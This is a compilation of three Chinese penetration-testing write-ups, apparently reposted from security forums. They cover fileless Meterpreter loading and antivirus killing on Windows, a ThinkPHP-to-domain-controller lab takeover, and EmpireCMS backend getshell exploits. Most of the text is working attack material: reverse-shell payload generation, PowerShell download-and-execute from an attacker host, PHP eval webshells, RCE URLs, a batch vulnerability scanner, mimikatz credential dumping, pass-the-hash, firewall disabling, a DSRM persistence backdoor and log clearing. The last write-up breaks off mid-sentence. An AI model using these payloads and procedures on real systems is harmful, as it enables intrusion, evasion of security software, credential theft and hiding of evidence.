  13. 0x01 环境准备kali(模拟公网攻击机) Windows2008(靶机,装有360、火绒、安全狗、D盾) Powersploit(PowerShell攻击框架) https://github.com/PowerShellMafia/PowerSploit 0x02 尝试落地payload首先msfvenom生成exe后门程序 msfvenom -p windows/x64/meterpreter/reverse_tcp -f exe lhost=192.168.192.119 lport=6666 -o ./6666.exePython3开启http下载服务 python3 -m http.servermsf开启监听 执行powershell命令时被火绒拦截 (New-Object Net.WebClient).DownloadString("http://192.168.192.119:8000/6666.exe") 0x03 PowerShell内存执行exe这也是现在红军非常流行的攻击手法,payload在内存中加载执行,也就是所谓的文件不落地,大致分以下几步 先将生成的payload在本地进行base64编码靶机执行远程下载命令靶机对payload进行解码并赋值给一个变量PowerShell远程加载Invoke-ReflectivePEInjection模块(PE反射注入)并执行payload本地编码payloadPowerShell下执行 function Convert-BinaryToString { [CmdletBinding()] param ( [string] $FilePath ) try { $ByteArray = [System.IO.File]::ReadAllBytes($FilePath); } catch { throw "Failed to read file. Ensure that you have permission to the file, and that the file path is correct."; } if ($ByteArray) { $Base64String = [System.Convert]::ToBase64String($ByteArray); } else { throw '$ByteArray is $null.'; } Write-Output -InputObject $Base64String; } Convert-BinaryToString C:\6666.exe > C:\res.txt将res.txt放置到kali中的下载服务目录,供靶机加载 接下来远程加载Powersploit的PE反射模块 iex(New-Object Net.WebClient).DownloadString("http://192.168.192.119:8000/Invoke-ReflectivePEInjection.ps1")继续加载base64编码后的payload,赋值给一个变量 $b64Str = (New-Object Net.WebClient).DownloadString("http://192.168.192.119:8000/res.txt")靶机解码payload $PEBytes = [System.Convert]::FromBase64String($InputString)反射调用 Invoke-ReflectivePEInjection -PEBytes $PEBytes -ForceASLRmsf成功上线,全程没有任何文件落地,比较成功地避开了杀软对磁盘的查杀 0x04 艰难的后渗透攻击先看一下进程,Windows下,我个人比较中意svchost.exe这个进程,注入率比较高,而且又是system权限,先来试试吧 ps -ef | grep svchost.exe成功提权 migrate 336当我准备添加用户的时候,被360的ZhuDongFangYu.exe进程拦截,接下来就是想办法干掉360、火绒、D盾、安全狗的主动防御系统 0x05 Kill主动防御因为现在是system权限,所以优先尝试kill、pkill这两条命令。经过fuzz,得出以下几点结论 D盾可直接Kill掉360、安全狗Kill掉后,30秒后会再次重启火绒权限不够,无法直接Killmeterpreter > pkill ZhuDongFangYu.exe Filtering on 'ZhuDongFangYu.exe' Killing: 6056 meterpreter > pkill SafeDogGuardCenter.exe Filtering on 'SafeDogGuardCenter.exe' Killing: 5752 meterpreter > pkill HipsTray.exe Filtering on 'HipsTray.exe' Killing: 7416 [-] stdapi_sys_process_kill: Operation failed: Access is denied. meterpreter >0x06 绕过杀软因为360的权限是比较高的,且我现在是system权限,就像尝试注入一下360的主动防御进程,竟然成功了! 这一下我直接好家伙,先把SafeDog干掉 ps -ef | Safe pkill Safe来靶机上看一下,发现安全狗的主进程都被干掉了,360还是狠啊 当我尝试杀死火绒的进程时,被火绒反杀了,也就是说,火绒把360的主动防御干掉了,可想而知它的权限得多大 重连一次shell后,我尝试注入360主动防御,杀死所有360的程序,成功拿下! 这时候还有一个ZhuDongFangYu.exe没杀,所以我们再注入回svchost.exe用它去杀死360的主动防御,这次杀死后就不会再生了,因为主程序已经被它干死了哈哈哈 现在就剩下火绒了,我进入shell,尝试用taskkill干掉他的时候,发现了一个有意思的提示 火绒的父进程是service.exe,那么如果我注入到service.exe中,用service.exe杀Hips*.exe不过分吧?老子打儿子总没毛病了吧? 结果让我很满意哈哈哈哈哈 成功添加用户,遗憾的是没有添加到管理员组,这次艰难的后渗透,就先到这儿吧 0x07 总结1.攻击机上msfvenom生成exe后门程序msfvenom -p windows/x64/meterpreter/reverse_tcp -f exe lhost=192.168.192.119 lport=6666 -o ./6666.exe2.将生成的payload在本地进行base64编码function Convert-BinaryToString { [CmdletBinding()] param ( [string] $FilePath ) try { $ByteArray = [System.IO.File]::ReadAllBytes($FilePath); } catch { throw "Failed to read file. Ensure that you have permission to the file, and that the file path is correct."; } if ($ByteArray) { $Base64String = [System.Convert]::ToBase64String($ByteArray); } else { throw '$ByteArray is $null.'; } Write-Output -InputObject $Base64String; }Convert-BinaryToString C:\6666.exe > C:\res.txt2.将res.txt放置到攻击机中的下载服务目录,Python3开启http下载服务python3 -m http.server3.假设这里通过冰蝎已成功连接目录靶机的shell,在冰蝎的命令功能中中执行远程加载Powersploit的PE反射模块powershell iex(New-Object Net.WebClient).DownloadString("http://192.168.192.119:8000/Invoke-ReflectivePEInjection.ps1")4.继续加载base64编码后的payload,赋值给一个变量powershell $b64Str = (New-Object Net.WebClient).DownloadString("http://192.168.192.119:8000/res.txt")5.靶机解码payloadpowershell $PEBytes = [System.Convert]::FromBase64String($InputString)6.反射调用powershell Invoke-ReflectivePEInjection -PEBytes $PEBytes -ForceASLR7.MSF进行监听,msf成功上线msf>use exploit/multi/handlermsf>set lport 6666msf>set payload windows/x64/meterprteter/reverse_tcpmsf>set lhost 192.168.192.119msf>run8.进行信息收集查看meterprter>sysinfo //查看下系统版本meterprter>ps -ef | grep svchost.exe //查看svchost.exe对应的进程和权限,发现有一个system权限的进程ID号为336meterprter>migrate 336 //进程迁移到svchost.exe的system权限meterprter>shellc:\>whomai //查看目标系统权限为system权限,可成功提权9.但是添加用户的时候被安全卫士的ZhuDongFangYu.exe进程拦截10通过kill和pkill命令来进行关闭360,安全狗和火绒的进程meterpreter > pkill ZhuDongFangYu.exe //通过pkill可成功关闭360安全卫士,但是30秒会重启Filtering on 'ZhuDongFangYu.exe' Killing: 6056 meterpreter > pkill SafeDogGuardCenter.exe //通过pkill可成功关闭安全狗,但是30秒会重启Filtering on 'SafeDogGuardCenter.exe' Killing: 5752 meterpreter > pkill HipsTray.exe //通过pkill不能关闭火绒,权限不够Filtering on 'HipsTray.exe' Killing: 7416 [-] stdapi_sys_process_kill: Operation failed: Access is denied. meterprter>ps -ef | grep ZhuDongFangYu.exe //查看ZhuDongFangYu.exe对应的system 权限的进程ID为6180meterprter>migrate 6180 //进程迁移到ZhuDongFangYu.exe对应的system 权限的进程meterprter>getuid //发现当前权限已成功提权为systemmeterprter>ps -ef | Safe //查看安全狗对应的进程meterprter> pkill Safe //关闭安全狗,但是不能关闭火绒meterprter>shellc:/>tasklist |findstr Hips //查看火绒服务对应的进程,发现HipsMain.exe主程序为800c:/>taskkill /PID 800 /F //尝试kill掉主程序,发现失败c:/>taskkill /f /t /im Hips* //尝试kill掉所有火绒服务,但是失败,发现子进程错误 c:/> taskkill |findstr 552 //参数查看所有子进程对应的服务,其中只能查看进程552对应的服务为services.exemeterpreter >migrate 552 //注入到services.exe进程中c:/>taskkill /f /t /im Hips* //kill所有的火绒服务,可成功禁用掉 原文连接:https://cloud.tencent.com/developer/article/1865215
  14. 0x00 前言在内网渗透的过程中思路才是最重要的,本次内网渗透的主机虽然不多,主要还是锻炼自己内网渗透的一个思想。 0x01 环境搭建靶场: win7(内):192.168.138.136 win7(外):192.168.10.25 域内主机: win2008:192.168.138.138 0x03 web服务器渗透nmap探测端口nmap -T4 -sC -sV 192.168.10.25 这里可以看到几个主要的端口,例如80、135、139、445,这里首先就可以想到可以利用的点有ipc、smb 开了80端口,尝试访问web地址,老笑脸人了,而且还是5.x版本,洞还是比较多 为了确定具体版本,这里先使用报错查看,发现这里的版本为5.0.22,如果没记错的话这里是有一个tp远程命令执行漏洞的 thinkphp getshell这里我首先在kali里面找一下有没有相关的漏洞 searchsploit thinkphp 可以看到这里有一个5.x远程执行漏洞,这里直接进入这个文件夹查看一下txt列出来的payload cd /usr/share/exploitdb/exploits/php/webapps cat 46150.txt 找到对应版本后fuzz以下payload,这个是列出数据库名字,这里看到数据库名为root 192.168.10.25/thinkphp/public/?s=.|think\config/get&name=database.username 这个payload应该是列出数据库密码,但是这里没有打出来 192.168.10.25/thinkphp/public/?s=.|think\config/get&name=database.password 这里打出phpinfo 192.168.10.25/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 传参看一下当前权限为administrator 192.168.10.25/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami 看一下ip情况,双网卡,那么大概率有域环境 192.168.10.25/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ipconfig 看一下进程,发现无杀软那么尝试不用免杀直接写webshell 192.168.10.25/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=tasklist /svc 这里直接尝试echo写一个一句话木马进去,这里因为之前查看过没有杀软跟安全狗,这里就不需要做免杀处理 192.168.10.25/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "<?php @eval($_POST[cmd]);?>" > connect.php 这里用dir验证一下是否写入成功 192.168.10.25/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir 使用蚁剑连接成功 thinkphp批量检测这里我思考了一个问题,thinkphp的版本这么多,如果kali里面的漏洞库没有,而在搜索引擎上去搜索又太耗费时间,有没有一个批量检测thinkphp漏洞的脚本呢? 这里我找到了一个thinkphp漏洞批量检测的脚本 # !/usr/bin/env python # -*- coding: utf-8 -*- # name: thinkphp远程代码检测 # description: ThinkPHP5 5.0.22/5.1.29 远程代码执行漏洞 import re import sys import requests import queue import threading from bs4 import BeautifulSoup class thinkphp_rce(threading.Thread): def __init__(self, q): threading.Thread.__init__(self) self.q = q def run(self): while not self.q.empty(): url=self.q.get() headers = {"User-Agent":"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50"} payload = r"/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1" vulnurl = url + payload try: response = requests.get(vulnurl, headers=headers, timeout=3, verify=False, allow_redirects=False) soup = BeautifulSoup(response.text,"lxml") if 'PHP Version' in str(soup.text): print ('[+] Remote code execution vulnerability exists at the target address') print ('[+] Vulnerability url address ' + vulnurl) with open('target.txt','a') as f1: f1.write(vulnurl+'\n') f1.close() else: print ('[-] There is no remote code execution vulnerability in the target address') except: print ('[!] Destination address cannot be connected') def urlget(): with open('url.txt','r')as f: urls=f.readlines() for tmp in urls: if '//' in tmp: url=tmp.strip('\n') urlList.append(url) else: url='http://'+tmp.strip('\n') urlList.append(url) return(urlList) f.close() if __name__=="__main__": print('''----------------扫描开始------------------- *Made by :tdcoming *For More :https://t.zsxq.com/Ai2rj6E *MY Heart :https://t.zsxq.com/A2FQFMN _______ _ _ |__ __| | | (_) | | __| | ___ ___ _ __ ___ _ _ __ __ _ | | / _` | / __|/ _ \ | '_ ` _ \ | || '_ \ / _` | | || (_| || (__| (_) || | | | | || || | | || (_| | |_| \__,_| \___|\___/ |_| |_| |_||_||_| |_| \__, | __/ | |___/ ''') urlList=[] urlget() threads = [] threads_count = 10 q=queue.Queue() for url in urlList: q.put(url) for i in range(threads_count): threads.append(thinkphp_rce(q)) for i in threads: i.start() for i in threads: i.join() 这里的使用方法很简单:将要检测的目标放在url.txt里面,如果存在漏洞的地址将自动生成一个target.txt文本保存 0x04 内网信息搜集这里使用蚁剑的命令窗口搜集一下本机信息,为administrator权限+双网卡 whoamiipconfig 查看一下域相关信息 net viewnet config workstationnet user /domain 0x05 内网渗透上线msfmsf生成一个abc.exe msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.11 LPORT=4444 -f exe > abc.exe 使用蚁剑上传到靶机上 这里因为没有杀软不用做免杀,直接命令行执行即可 msf开启监听即可上线 信息搜集使用getsystem提权到system,这里因为是靶场的原因getsystem比较容易执行成功 提权后获取一个windows环境下的shell继续对域进行信息搜集 chcp 65001net user /domainnet group "domain computers" /domainnet group "domain controllers" /domainnet group "domain admins" /domain 靶机存在一个名为“sun”的域环境,只有一个域控,这里我直接ping一下域控得到域控ip为192.168.138.138 获取凭证这里因为有两个网段就先把路由添加上方便后续操作 # msf操作route add 192.168.138.0 255.255.255.0 2route print # session操作run autoroute -s 192.168.138.0/24run autoroute -p 这里选择session,使用kiwi来获取靶机密码,注意这里需要进行的一个操作为进程迁移,因为我们这里上线到msf的载荷是32位的(即x86),这里需要找一个64位的(即x64)进行进程迁移才能使用kiwi获取靶机密码 sessions -i 2load kiwikiwi_cmd privilege::debugpsmigrate 1144kiwi_cmd sekurlsa::logonPasswords 这里可以看到抓取到了一个域管的密码为dc123.com和一个靶机的密码123.com 思路这里抓到了靶机和域管的密码,那么这里就可以用pth的方法进行横向移动,这是第一种方法;另外我们可以去检测一下在另一个网段的机器有什么漏洞可以利用,如MS17-010、CVE-2020-0796等等,利用漏洞的exp进行横向移动,这是第二种方法;因为我们之前在用nmap对端口进行扫描的时候是发现了139和445端口的,那么我们拿到了密码的情况下可以尝试使用ipc+计划任务的方式进行横向移动 0x06 内网横向移动MS17-010尝试这里直接使用ms17-010的攻击模块进行尝试,这里其实应该先用扫描模块对处于另一网段的主机进行漏洞扫描,若存在永恒之蓝漏洞才继续使用exp模块进行攻击,这里我为了演示方便就直接上手exp模块进行攻击了 这里攻击可以看到,虽然靶机存在永恒之蓝漏洞但是session反弹不成功,这里是因为在windows server2008的情况下匿名管道是默认不开启的。 我们知道psexec的原理就是使用了管道,ipc连接也同理。那么在匿名管带不开启的情况下永恒之蓝的连接是建立不上的。这里再说一下匿名管道的概念: 管道是IPC最基本的一种实现机制。我们都知道在Linux下“一切皆文件”,其实这里的管道就是一个文件。管道实现进程通信就是让两个进程都能访问该文件。管道的特征:①只提供单向通信,也就是说,两个进程都能访问这个文件,假设进程1往文件内写东西,那么进程2 就只能读取文件的内容。②只能用于具有血缘关系的进程间通信,通常用于父子进程建通信③管道是基于字节流来通信的④依赖于文件系统,它的生命周期随进程的结束结束(随进程)⑤其本身自带同步互斥效果 psexec尝试因为我们已经拿到了域管的帐号那么我们这里就直接使用pth的方法,即哈希传递,使用的是psexec模块,不过这个模块因为被使用太多导致已经被杀软列入了黑名单,如果这里有杀软存在的情况下psexec横向移动是会被拦截的。 设置参数如下所示,这里注意一下SMBPass这个地方也能够通过hash进行传递,也能够通过明文密码进行传递 use exploit/windows/smb/psexecset rhost 192.168.138.138set SMBDomain SUNset SMBUser administratorset SMBPass dc123.comset payload windows/meterpreter/bind_tcprun 这里可以看到exp已经利用了但是没有session反弹回来,这里我猜测是以为防火墙阻止了端口流量的进出,所以这里我们就需要通过ipc连接去关闭域控的防火墙 ipc连接关闭域控防火墙这里的常规方法是使用netsh关闭域控防火墙,但是这里需要域控的管理员权限,所以在这里我们就直接使用ipc连接域控然后使用计划任务添加规则关闭防火墙 netsh advfirewall firewall add rule name="f.exe" dir=in program="e:\f.exe" action=allownetsh advfirewall firewall delete rule name="f.exe"将session挂在后台并与域控建立ipc连接 net use \\192.168.138.138\ipc$ dc123.com /user:administrator这里可以看到连接已经建立成功了 利用sc创建计划任务立即启动关闭域控的防火墙 sc \\192.168.138.138 create unablefirewall binpath= "netsh advfirewall set allprofiles state off" # 创建服务sc \\192.168.138.138 start unablefirewall # 立即启动服务这里可以看到防火墙已经被关闭了 psexec尝试*2这时候我们再使用psexec进行横向移动就能够获得session,至此我们就拿到了域控的权限 这里看一下我们直接拿到的就是一个system权限的session 0x07 登录远程桌面这里我想登录远程桌面看看域控还有什么有价值的东西就可以使用socks代理正向进入内网 使用socks_proxy模块 use auxiliary/server/socks_proxtset viersion 4arun这里还需要配置proxychain文件 socks4 192.168.10.11 1080 添加一个内网网段的路由 run autoroute -s 192.168.138.0/24run autoroute -p 然后使用proxychain命令即可登录远程桌面 proxychain4 rdesktop 192.168.138.138 登录域控如图所示 0x07 权限维持权限维持的方法有很多种,这里我挑了一个使用得不是很多的方法来进行练习加以巩固 DSRM后门何为DSRM后门? 在域控制器上,DSRM账号的表现形式是本地的管理员 Administrator 用户,也就是说本地管理员 Administrator 用户等于DSRM账号。 首先,为 DSRM 账号设置新密码。在域控制器(Windows 2008)的cmd中进入ntdsutil,然后输入下面命令进行修改DSRM账户的密码: ntdsutil // 进入ntdsutilset dsrm password // 设置DSRM账户的密码reset password on server null // 在当前域控制器上恢复DSRM密码<password> // 输入新密码<password> // 重新输入新密码q //退出DSRM密码设置模式q // 退出ntdsutil 然后再使用kiwi抓取ntml hash 然后,我们修改域控主机的DSRM账户登录方式。在Windows Server 2000以后的版本操作系统中,对DSRM使用控制台登录域控制器进行了限制。我们可以在注册表的HKLM:\System\CurrentControlSet\Control\Lsa\中新建DsrmAdminLogonBehavior项进行设置,将该新建的项中的值设为0、1、2可以分别设置不同的DSRM账户登录方式: 如下所示,我们用powershell命令将DSRM的登录方式设置为“2”,即在任何情况下,都可以使用DSRM管理员账号登录域控制器: New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -name "DsrmAdminLogonBehavior" -value 2 -propertyType DWORD 使用win7上的mimikatz进行hash传递即可获取到域控权限 privilege::Debugsekurlsa::pth /domain:WIN-K6S18HH1766 /user:administrator /ntlm:a812e6c2defcb0a7b80868f9f3c88d090x08 日志清除日志清除有两种方法,一种是使用kali里面自带的命令进行日志清除 run event_manager -irun event_manager -c 第二种方法则是进入服务器管理器自行清除 0x09 总结1.通过NAMP对目标外网主机进行端口探测,发现80,135,139,445端口开放 nmap -T4 -sC -sV 192.168.10.25 2.访问web 80端口,发现目标系统是thinkphpv5.0框架开发。通过访问http://192.168.10.25/?s=10来报错查看具体版本为thinkphp5.0.22 3.通过searchsploit搜索thinkphp漏洞,可以看到一个5.x远程执行漏洞可利用 searchsploit thinkphp 4.进入目录,并查看可利用的POC cd /usr/share/exploitdb/exploits/php/webapps cat 46150.txt 5.找到对应版本后fuzz以下payload,这个是列出数据库名字,这里看到数据库名为root 192.168.10.25/thinkphp/public/?s=.|think\config/get&name=database.username 6.列出数据库密码 192.168.10.25/thinkphp/public/?s=.|think\config/get&name=database.password 7.执行远程命令执行,这里执行phpinfo 192.168.10.25/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 8.查看当前系统权限,发现是administrator 192.168.10.25/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami 9.查看IP地址 192.168.10.25/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ipconfig 10.查看进程,发现没有杀软 192.168.10.25/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=tasklist /svc 11.尝试echo写入一句话木马 192.168.10.25/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "<?php @eval($_POST[cmd]);?>" > connect.php 12.尝试查看写入情况,发现已成功写入成功。 192.168.10.25/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir 13.通过蚁剑成功连接一句话 14.通过蚁剑的命令终端使用命令查看服务器基本信息 whoami //查看服务器权限 ipconfig //查看服务器IP地址,发现有2个网卡,一个外网IP地址为192.168.10.25,一个内网IP地址192.168.138.136 net view //查看该网段的计算机名,一个为DC,一个为win7 net config workstation //查看本机计算机全名为win7.sun.com,棣属于sun.com域 net user /domian //查看域用户,发现发生错误 15.msf下生成一个abc.exe msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.11 LPORT=4444 -f exe > abc.exe 16.通过蚁剑将abc.exe上传到外网服务器上,并执行 c:/phpsutudy/phptutorial/www/pubilc/abc.exe 17.msf开启并监听,成功上线 use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set lhost 192.168.10.11 set lport 4444 run 18.使用getsystem提权到system meterpreter>getuid //查看当前权限 meterpreter>getsystem //提权到system权限 meterpreter>getuid //查看当前权限,发现 成功提权 19.获取一个windows环境下的shell继续对域进行信息搜集 meterpreter>shell //进入到外网目标系统的CMD命令环境中 c:>chcp 65001 //CMD命令下中文乱码解决 c:>net user /domain //查看域用户,发现存在admin,administrator,guest,krbtgt,leo用户 c:>net group "domain computers" /domain //查看域计算机,发现一个win7$主机名 c:>net group "domain controllers" /domain //查看域控制主机名为dc$ c:> net group "domain admins" /domain //查看域管理员组 c:>ping dc.sun.com //查看域主机的IP,发现IP为192.168.138.138 20.这里外网目标系统上有两个网段就先把路由添加上 c:>exit //退出shell终端 meterpreter>background //返回MSF终端 MSF>route add 192.168.138.0 255.255.255.0 //添加动态路由 MSF>rotue print //查看动态路由 MSF>sessions -i 2 meterpreter> run autoroute -s 192.168.138.0/24 //在msterprter终端使其动态路由生效 meterpreter>run autoroute -p //列出动态路由 21.使用kiwi来获取靶机密码,注意这里需要进行的一个操作为进程迁移,因为我们这里上线到msf的载荷是32位的(即x86),这里需要找一个64位的(即x64)进行进程迁移才能使用kiwi获取靶机密码 meterpreter>load kiwi //加载mimikatz模块 meterpreter>ps //查看进程,这里的spoolsv.exe的进程为1144,系统权限为system,且为64位 meterpreter>kiwi_cmd privilege::debug //进行提权 meterpreter>migrate 1144 //迁移到spoolsv.exe的进程上 meterpreter>kiwi_cmd sekurlsa::logonPasswords //获取到了一个域管(administorator)的密码为dc123.com和一个用户leo的密码123.com 22.通过尝试ms17-010进行横向移动,发现无法反弹成功,显示匿名管道没有开启或者找不到 meterpreter>backgroud msf>use exploit/windows/smb/ms17_010_eternalblue msf>set rhost 192.168.138.138 msf>set lhost 19,268.10.11 msf>set lport 4444 msf>set rport 445 msf>run 23.通过尝试psexec进行横向移动,发现无法横向,流量被防火墙拦截了。 msf>use exploit/windows/smb/psexec msf>set rhost 192.168.138.138 msf>set SMBDomain SUN msf>set SMBUser administrator msf>set SMBPass dc123.com msf>set payload windows/meterpreter/bind_tcp msf>run 24.使用netsh关闭域控防火墙,这里需要域控的管理员权限,所以直接使用ipc连接域控,然后使用计划任务添加规则关闭防火墙. msf>sessions -i 2 meterpreter>shell //进入到内网目标系统的CMD命令环境中 c:>chcp 65001 c:>net use \\192.168.138.138\ipc$ dc123.com /user:administrator //建立DC的IPC$链接 c:>net use 25.利用sc创建计划任务立即启动关闭域控的防火墙 c:> sc \\192.168.138.138 create unablefirewall binpath= "netsh advfirewall set allprofiles state off" //创建服务sc c:> sc \\192.168.138.138 start unablefirewall #启动计划任务,并成功关闭防火墙 25.再次通过尝试psexec进行横向移动,发现可以横向移动 msf>sessions -i 4 meterpreter>getuid //获取到域控主机去玩笑是system权限 meterpreter>background meterpreter>sessions //查看当前会话,含有2个会话shell链接 26.使用socks代理正向进入内网,并进行远程桌面登录 meterpreter>background msf>use auxiliary/server/socks_proxt //使用socks代理模块 msf>set viersion 4a //使用socks4代理 msf>run 27.添加一个内网动态路由 msf>sessions -i 3 meterpreter>run autoroute -s 192.168.138.0/24 meterpreter>run autoroute -p meterpreter>background msf>set session 4 msf>run 28.进行远程桌面登录,这里需要在proxychain下的配置文件中添加:socks4 192.168.10.11 1080 proxychain4 rdesktop 192.168.138.138 29.DSRM后门进行权限维持,在域控制器上,DSRM账号的表现形式是本地的管理员 Administrator 用户,也就是说本地管理员 Administrator 用户等于DSRM账号。 30.DSRM 账号设置新密码。在域控制器(Windows 2008)的cmd中进入ntdsutil,然后输入下面命令进行修改DSRM账户的密码: ntdsutil // 进入ntdsutil ntdsutil: set dsrm password // 设置DSRM账户的密码 reset password on server null // 在当前域控制器上恢复DSRM密码<password> // 输入新密码<password> // 重新输入新密码 q //退出DSRM密码设置模式 q // 退出ntdsuti 31.使用kiwi抓取DC的ntml hash meterpreter>load kiwi meterpreter>kiwi_cmd privilege::debug meterpreter>kiwi_cmd token::elevate meterpreter>kiwi_cmd lsadump::sam 32.修改域控主机的DSRM账户登录方式,在Windows Server 2000以后的版本操作系统中,对DSRM使用控制台登录域控制器进行了限制。我们可以在注册表的HKLM:\System\CurrentControlSet\Control\Lsa\中新建DsrmAdminLogonBehavior项进行设置,将该新建的项中的值设为0、1、2,可以分别设置不同的DSRM账户登录方式,这里设置为2. 0:默认值,只有当域控制器重启并进入DSRM模式时,才可以使用DSRM管理员账号 1:只有当本地AD、DS服务停止时,才可以使用DSRM管理员账号登录域控制器 2:在任何情况下,都可以使用DSRM管理员账号登录域控制器 33.用powershell命令将DSRM的登录方式设置为“2”,即在任何情况下,都可以使用DSRM管理员账号登录域控制器: New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -name "DsrmAdminLogonBehavior" -value 2 -propertyType DWORD 33.使用win7上的mimikatz进行hash传递即可获取到域控权限 privilege::Debug sekurlsa::pth /domain:WIN-K6S18HH1766 /user:administrator /ntlm:a812e6c2defcb0a7b80868f9f3c88d09 34.日志清除,kali下执行,或者通过远程桌面登录在事件查看器中直接清除日志 meterpreter>run event_manager -i meterpreter>run event_manager -c 原文连接: https://xz.aliyun.com/t/9807
  15. 0x00 前言文章所述漏洞已经提交至漏洞平台,且所有恶意操作均已复原 0x01 源码泄露http://www.xxx.com.cn/www.zip老规矩拿到源码先通关关键词找敏感信息 key pwd passwd password找到了半天居然找不到一个有效的密码 最后在robots.txt中看到CMS的信息-EmpireCMS 查询知道是开源cms后,直接百度查询数据表结构 知道了管理员记录表为phome_enewsuser,在源码里全局搜索 0x02 敏感信息泄露 点击进去得到管理员用户名,密码hash和盐值 直接解md5得到口令 Kite/kite得到口令后就是找到后台地址,由于是开源的百度一下就有了 看一眼目录并没有修改后台地址,所以直接访问 http://www.xxx.com.cn/e/admin/ 得到具体的版本号为6.6 0x04 历史漏洞登录到后台后,因为是开源CMS,历史漏洞才是渗透的关键 直接搜索empireCMS漏洞,开始复现历史漏洞 1.后台-模版-公共模版-js调用登陆模版getshell还没有开始就已经结束 Table 'hdm1010482_db.phome_enewstempgroup' doesn't exist好家伙,这是把表都删了吗 2.后台数据表与系统模型-导入数据库模型getshellEmpireCMS 7.5以及之前版本中的e/class/moddofun.php文件的LoadInMod函数存在安全漏洞。攻击者可利用该漏洞上传任意文件。 在本地先新建一个test.php.mod文件,内容为 <?php file_put_contents("lyy.php","<?php @eval(\$_POST['lyy']); ?>");?>填入任意表名然后选择马上导入 又是一个表不存在,GG 3.后台备份与恢复数据-执行sql语句getshellEmpireCMS7.5及之前版本中的admindbDoSql.php文件存在代码注入漏洞。 也就是后台提供了一个sql语句执行 只要服务器mysql配置secure_file_priv 不当,就可以向服务器写入文件 Payload select '<?php @eval($_POST[123])?>' into outfile '绝对路径/e/admin/lyy.php'因为要向站点写入文件,所以必须知道绝对路径才行。 因为是无回显执行,也不能通过show mysql变量获取部分路径,所以也pass了 show variables like '%datadir%';4.后台备份与恢复数据-备份数据getshellempirecms 7.5版本及之前版本在后台备份数据库时,未对数据库表名做验证,通过修改数据库表名可以实现任意代码执行。 选择任意一个表,开始备份抓包 将tablename字段改为payload @eval($_POST[123])请求包 POST /e/admin/ebak/phome.php HTTP/1.1 Host: www.xxx.com.cn Content-Length: 285 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://www.xxx.com.cn Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://www.xxx.com.cn/e/admin/ebak/ChangeTable.php?mydbname=hdm1010482_db Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: bxubwecmsdodbdata=empirecms; bxubwloginuserid=1; bxubwloginusername=Kite; bxubwloginlevel=1; bxubweloginlic=empirecmslic; bxubwloginadminstyleid=1; bxubwloginrnd=F3JiUXpyeXm6mWPTsdUG; bxubwloginecmsckpass=e816ccfcb01f4ed8ee0ad531de6fa67c; bxubwtruelogintime=1640762619; bxubwlogintime=1640762630 Connection: close phome=DoEbak&mydbname=hdm1010482_db&baktype=phpinfo()&filesize=300&bakline=500&autoauf=1&bakstru=1&dbchar=gbk&bakdatatype=1&mypath=hdm1010482_db_20211229152350&insertf=replace&waitbaktime=0&readme=&autofield=&tablename%5B%5D=@eval($_POST[123])&chkall=on&Submit=%BF%AA%CA%BC%B1%B8%B7%DD回显得到备份文件夹名 hdm1010482_db_20211229152350webshell连接备份文件夹下的config.php http://www.xxx.cn/e/admin/ebak/bdata/hdm1010482_db_20211229152350/config.php成功getshell 原理分析因为手里有源码,就跟了一下这个漏洞 首先定位 直接全局搜索config.php就找到了 在e/admin/ebak/class/functions.php文件中Ebak_DoEbak存在文件写入操作 $string="<?php \$b_table=\"".$b_table."\"; ".$d_table." \$b_baktype=".$add['baktype']."; \$b_filesize=".$add['filesize']."; \$b_bakline=".$add['bakline']."; \$b_autoauf=".$add['autoauf']."; \$b_dbname=\"".$dbname."\"; \$b_stru=".$bakstru."; \$b_strufour=".$bakstrufour."; \$b_dbchar=\"".addslashes($add['dbchar'])."\"; \$b_beover=".$beover."; \$b_insertf=\"".addslashes($insertf)."\"; \$b_autofield=\",".addslashes($add['autofield']).",\"; \$b_bakdatatype=".$bakdatatype."; ?>"; $cfile=$bakpath."/".$add['mypath']."/config.php"; WriteFiletext_n($cfile,$string); 可以看到直接对$d_table变量进行拼接 再看看写函数WriteFiletext_n 也没有对写入内容进行过滤,那么只需要知道如何控制$d_table变量值即可 crtl+左键跟到上面 而$count是$tablename的数量,$tablename是$add中tablename的键值 找到调用Ebak_DoEbak函数的位置,知道$add就是$_POST 那就很清楚了,他对POST传参的tablename进行了处理产生两个变量 $b_table和$d_table,其中$b_table是被双引号包裹无法利用的 但是$d_table没有双引号被包裹,且没有任意过滤直接写入.php文件,导致命令执行 为什么不是其他参数?其他参数大部分是被双引号包裹的 没有被双引号包裹的参数都被强转int,如果传str会返回0 所以pass 3的后续在通过漏洞4获得站点真实路径后我又构造sql语句,尝试向站点直接webshell select 